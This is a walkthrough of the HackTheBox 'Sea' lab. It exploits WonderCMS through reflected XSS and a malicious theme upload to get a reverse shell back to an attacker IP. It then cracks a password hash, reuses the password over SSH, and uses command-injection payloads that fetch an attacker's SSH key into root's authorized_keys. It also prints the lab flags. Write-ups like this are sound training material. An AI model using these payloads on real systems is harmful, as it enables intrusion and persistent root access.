Sea
Title | Sea |
---|---|
Description | Detailed walkthrough of the Sea room on HackTheBox platform, covering initial enumeration, exploiting vulnerabilities, and obtaining user and root flags. |
Difficulty | Easy |
Maker | FisMatHack |
Enumeration
Nmap
|
|
So from the Nmap, we can see there are 2 ports running, ssh and http. The first thing I have tried was to visit the website, but there is nothing in website except the contact form.
But this page is not giving anything, no SSRF, or XSS. Also, it seems the website is written in PHP as it is having contact.php
page. Next, on fuzzing the directory I have found themes/
directory and from that directory, I got the theme name, license and version of the theme.
Next, I googled about the theme name and it’s version, I have found it’s
WonderCMS
and there is exploit available for this - https://www.exploit-db.com/exploits/52271
User Flag
We can use this exploit (https://gist.github.com/prodigiousMind/fc69a79629c4ba9ee88a7ad526043413).
- It takes 3 arguments:
- URL: where WonderCMS is installed (no need to know the password)
- IP: attacker’s Machine IP
- Port No: attacker’s Machine PORT
Changing the script from the original exploit.
- changed pathname to hostname
- downloaded main.zip from https://github.com/prodigiousMind/revshell/archive/refs/heads/main.zip to locally.
|
|
- It generates an xss.js file (for reflected XSS) and outputs a malicious link.
- As soon as the admin (logged user) opens/clicks the malicious link, a few background requests are made without admin acknowledgement to upload a shell via the upload theme/plugin functionality.
- After uploading the shell, it executes the shell and the attacker gets the reverse connection of the server. As the shell is uploaded on this path, on visiting this path we will get the shell:
curl 'http://sea.htb/themes/revshell-main/rev.php?lhost=10.10.14.16&&lport=4444'
If we go to/var/www/sea/data
folder, we willdatabase.js
file and in that file we will get password.
Removing that\
from the password we will get$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q
and we can crack the password using john.
Password is:mychemicalromance
Now, if we check the home directory in our rev shell, we can see we have 2 users. That is,amay
andgeo
. Let’s try to use this password in ssh with this usernames.
We got user shell using,
User | Pass |
---|---|
amay | mychemicalromance |
User Flag:
54970052ef7c36482285d18e365f7f71
Root Flag
After we got our user, I have downloaded linpeas and ran it in ssh shell.
In Active ports tab, we can see there is an unusual port 8080
that is open, let’s see what is hosted on that port - ssh -L 8080:localhost:8080 amay@sea.htb
. On visiting the website, it will ask for username and password, as of now we only have one! Let’s try that
And it worked!
It seems we can able to see the logs, maybe log poisoning or LFI? Let’s see!
After trying certain payload, I can verify it is having command injection vulnerability.
If we send this payload log_file=;id+#&analyze_log=
we will get command injection. Let’s get the keys from root using this technique.
If we use this payload log_file=;ls+/root/.ssh/+#&analyze_log=
we can see there is authorized_key
in response.
What I will do is, generate a keypair locally and the upload the key to authorized key and we will login using private key.
- To upload the key using curl:
log_file=;curl+http://10.10.14.16:8000/key.pub+>>/root/.ssh/authorized_keys+#&analyze_log=
- Next login to
root
using ssh using the key we have generated:ssh -i key root@sea.htb
Root Flag:
3df2005ae45ed6ab5cf74f83b6f68416